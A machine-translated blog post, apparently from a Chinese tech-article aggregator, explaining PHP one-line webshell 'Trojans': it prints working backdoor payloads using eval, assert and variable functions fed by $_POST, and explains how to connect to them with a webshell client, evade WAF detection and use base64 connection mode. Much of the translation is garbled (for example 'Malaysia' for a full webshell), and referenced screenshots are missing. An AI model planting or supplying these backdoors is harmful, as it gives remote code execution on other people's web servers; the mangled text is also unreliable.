当前位置:网站首页>On the difference between Eval and assert
On the difference between Eval and assert
2022-07-26 06:47:00 【Caker】
Talking about eval And assert In a word, Trojan execution is different
What is a one sentence Trojan horse
In a word, a Trojan horse is a Trojan horse that only needs one line of code , Just one line of code , It can achieve the same function as Malaysia . In order to bypass waf Detection of , In a word, the Trojan horse has been transformed in countless ways , But the essence is the same : The Trojan's function executed the command we sent .
In a word, the principle of Trojan horse
We can go through GET 、POST 、COOKIE These three ways to submit data to a website , In a word, Trojan horse can be used $_GET[’ ‘]、$_POST[’ ‘]、$_COOKIE[’ '] Receive the data we send , And pass the received data to the function executing the command in the Trojan horse , And then execute the order .
Therefore, most of the classic sentence Trojans have only two parts , One is the function part that can execute code , One is the part that receives data .
for example :<?php eval(@$_POST['a']); ?><?php assert(@$_POST['a']); ?>
among eval It's the function that executes the command $_ POST['a'] It's the received data .eval Function takes the received data as PHP Code to execute . In this way, we can let the website with a sentence inserted into the Trojan horse execute whatever we passed in the past PHP sentence . This is the strength of the Trojan horse .
Example :
phpinfo.png
Because the Trojan horse is receiving post In request “a” The data of ( $_POST[‘a’]), So we have to post Method sends data and assigns the code we want to execute to “a”. If you put the horse post Replace with get, Then we need to GET Method to send “a”,( Just like this. : http://127.0.0.1/test.php?a=phpinfo(); ) I won't show it again .
A special sentence Trojan horse
Normally, a common sentence is that Trojans are directly used in the above examples eval function
If you give a sentence in this form, Trojan horse , How to use webshell To connect <?php $_POST['1']($_POST['2']); ?>
Then from eval and assert Two different function features to specify
If you want to pass eval Function to complete the sentence of a Trojan horse , Not directly 1=eval&2 Connect in this format 

As shown in the figure, you will be prompted that the return data is empty , as a result of eval It's a language constructor, not a function , Can not be Variable function call .
PHP Support the concept of variable function . This means that if a variable name is followed by parentheses ,PHP Will look for a function with the same name as the value of the variable , And try to execute it . Variable functions can be used to implement, including callback functions , Some uses, including function tables .
Mutable functions cannot be used, for example echo,print,unset(),isset(),empty(),include,require And similar language structures . You need to use your own wrapper functions to use these structures as variable functions .
So it seems eval In fact, it is not ‘ function ’, It is PHP Its own language structure , If you need to use ‘ variable ’ Method call , You need to build it yourself , Something like this :
<?php
function eval_1($str)
{
eval($str);
}
$a='eval_1';
$a('phpinfo()');
?>
So we need to execute functions with other commands, such as assert To achieve
use 1=assert(eval&2) Finally, it's converted to php The code is assert(eval($POST_['2']))

As shown in the figure, the test is successful
Be careful : Pay attention to use when testing php Version of , If the version used exceeds 7.1 The connection will fail .
The reason is 
Or use it directly 1=assert&2 To connect , However, it should be noted that the connection needs to be selected base64 In the form of connection 
because assert stay php Is considered a function
Analyze the two coding modes
base64
default What is executed is our string , So the execution failed 
Through packet capturing analysis, we can see why we implemented base64 It's a successful link again , Because we have one more eval function , In essence, we are implementing assert(eval()), So it's executable , We must be clear , our eval The argument in the function is the character ,assert The argument in the function is an expression ( Or a function )
边栏推荐
- 二叉树知识总结
- [C language] file operation
- 【Star项目】小帽飞机大战(二)
- 哈夫曼编码原理
- How to realize digital production mode in garment industry
- C language introduction practice (8): switch case calculates the month, year and day of the next day (normal year / leap year calculation)
- mysql优化之索引及索引失效
- 【Web3 系列开发教程——创建你的第一个 NFT(4)】NFTs 可以给你带来什么
- 【毕业季_进击的技术er】送别过去两年迷茫的自己。重整旗鼓,大三我来啦
- [untitled]
猜你喜欢

How to solve the crash when the easygbs platform edits the device management group?

Sorting problem: bubble sort, select sort, insert sort

Deep learning - CV, CNN, RNN
![[1] Basic knowledge of mathematical modeling](/img/29/90b1c7533e9443852758d10080e239.png)
[1] Basic knowledge of mathematical modeling
![[Web3 series development tutorial - create your first NFT (4)] what can NFTs bring to you](/img/57/f263f3f3c40b1440b0cbb58c5e05a5.jpg)
[Web3 series development tutorial - create your first NFT (4)] what can NFTs bring to you
![[image denoising] image denoising based on bicube interpolation and sparse representation matlab source code](/img/39/716c62d6ca533a7e84704b2c55d072.png)
[image denoising] image denoising based on bicube interpolation and sparse representation matlab source code

Experimental flags: --disable_ admission_ control=false --enable_ rm=false --llama_ callback_ port=28000

『HarmonyOS』工程的创建与虚拟机的使用

『期末复习』16/32位微处理器(8086)基本寄存器

The creation of "harmonyos" project and the use of virtual machines
随机推荐
Valid bracket sequence of "Niuke | daily question"
【Star项目】小帽飞机大战(四)
Curve curvature display
Rust language - slice type (&[u8])
Problems related to the use of ucharts (components) in uniapp
Basis of multimodal semantic segmentation
Overview of image classification of vision transformer must read series
力扣——3. 无重复字符的最长子串
Go 的切片与数组
@Constructorproperties annotation understanding and its corresponding usage
源代码加密技术发展阶段
Shell programming
信号处理系统综合设计-求解器函数的设计(连续和离散时间系统)
"Harmonyos" explore harmonyos applications
二叉树知识总结
浅谈eval与assert一句话木马执行区别
Merge_sort
少儿编程 电子学会图形化编程等级考试Scratch一级真题解析(选择题)2022年6月
Do you think you are a reliable test / development programmer? "Back to the pot"? Surface and reality
Database performance test (MySQL)